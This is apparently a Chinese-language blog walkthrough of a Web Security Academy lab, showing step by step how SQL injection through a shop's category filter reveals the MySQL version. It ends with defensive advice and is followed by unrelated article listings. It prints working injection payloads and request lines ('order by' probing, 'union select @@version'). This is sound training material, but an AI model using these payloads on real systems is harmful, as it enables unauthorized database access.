news 2026/5/14 7:26:06

Web Security Academy 第四关:SQL 注入查询 MySQL / SQL Server 版本

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Web Security Academy 第四关:SQL 注入查询 MySQL / SQL Server 版本

大家好,本篇是Web Security Academy 第四关超详细图文教程,每一步操作、页面响应、请求包都和你的截图 1:1 对应,跟着做直接通关。

另外,我之前已经发布过 SQL Server数据库基础、注入语法、版本查询的文章,对 SQL Server不熟悉的朋友可以先去我主页看那篇补课,本文专注靶场实战。


关卡信息

  • 关卡名称:SQL injection attack, querying the database type and version on MySQL and Microsoft
  • 注入点:商品分类category参数
  • 数据库:MySQL
  • 目标:获取版本字符串8.0.42-0ubuntu0.20.04.1
  • 难度:入门

1. 关卡初始页面

打开靶场进入第四关首页。页面顶部提示:Make the database retrieve the string: '8.0.42-0ubuntu0.20.04.1'

页面下方是商品列表,分类包括:All、Accessories、Clothing, shoes and accessories、Corporate gifts、Food & Drink、Gifts。

确认注入点在商品分类筛选的category参数。


2. 正常访问分类页面

直接点击分类 Accessories,页面正常加载,无报错。

将URL:/filter?category=Accessories’

页面并未报错但商品信息全部没了,并且展示了Accessories’

存在注入点,


3. 正常请求包

请求包内容:

响应状态:HTTP/2 200 OK,页面正常返回。


4. ORDER BY 3 测试字段数

操作:在参数后构造语句测试字段数量

plaintext

category=' order by 3--

页面返回:Internal Server Error(500 错误)

说明原查询字段数小于 3


5. ORDER BY 3 报错请求包

请求包:

plaintext

GET /filter?category='%20order%20by%203-- HTTP/1.1

响应状态:HTTP/2 500 Internal Server Error确认字段数不满足 3 列。


6. ORDER BY 2 测试字段数

操作:

plaintext

category=' order by 2--

页面正常显示商品,无报错。

结论:原查询一共2 个字段


7. UNION SELECT 1,2 测试回显位

操作:确认字段数后,测试回显位置

plaintext

category=-1' union select 1,2--

页面成功显示数字1、2,说明两个字段都可回显。


8. 构造版本查询 Payload

操作:使用 MySQL 全局变量@@version查询版本

plaintext

category=-1' union select @@version,2--

页面直接回显:8.0.42-0ubuntu0.20.04.1

顶部显示:Congratulations, you solved the lab!关卡状态变为Solved,通关成功。


9. 通关成功请求包

请求包:

plaintext

GET /filter?category=-1%27%20union%20select%20@@version,2-- HTTP/2

响应状态:HTTP/2 200 OK页面成功返回 MySQL 完整版本。


核心知识点总结

  1. 注入判断:单引号触发 ,确认字符型注入
  2. 字段判断:ORDER BY 2 正常、3 报错 →2 个字段
  3. MySQL 版本查询:@@version/VERSION()
  4. UNION 注入:字段数对齐、用-1'清空原结果
  5. 注释符:--注释后续语句

安全防护建议

  1. 使用参数化查询 / 预编译语句
  2. 限制数据库账号权限,禁止读取敏感系统变量
  3. 输入过滤与 WAF 防护
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/14 7:23:13

智能体开发实战:基于openclaw-skill-session-context的会话上下文管理

1. 项目概述与核心价值最近在折腾智能体(Agent)和技能编排,发现一个挺有意思的库:thomasmarcel/openclaw-skill-session-context。乍一看这个名字,可能有点摸不着头脑,但如果你也在做类似的事情——比如构建…

作者头像 李华
网站建设 2026/5/14 7:20:37

5分钟掌握百度网盘高速下载终极方案:Python直链解析完整实战

5分钟掌握百度网盘高速下载终极方案:Python直链解析完整实战 【免费下载链接】baidu-wangpan-parse 获取百度网盘分享文件的下载地址 项目地址: https://gitcode.com/gh_mirrors/ba/baidu-wangpan-parse 还在为百度网盘蜗牛般的下载速度而焦虑吗?…

作者头像 李华
网站建设 2026/5/14 7:19:48

从零手搓强化学习算法:18个核心实现与实战避坑指南

1. 从零开始理解强化学习:为什么我们需要“手搓”算法? 如果你对ChatGPT、Midjourney这些AI应用背后的原理感到好奇,或者你正在学习机器学习,发现监督学习、无监督学习之外,还有一个听起来很酷但有点难啃的领域叫“强化…

作者头像 李华
网站建设 2026/5/14 7:19:45

【GEC6818实战】从零构建多媒体终端:Linux文件IO与LCD显示核心解析

1. 从零认识GEC6818开发板 第一次拿到GEC6818开发板时,我完全被它丰富的接口震惊到了。这块巴掌大小的板子集成了ARM Cortex-A53四核处理器、1GB内存、8GB存储,还有HDMI、USB、以太网等各种接口。最吸引我的是那块4.3寸的LCD触摸屏,分辨率480…

作者头像 李华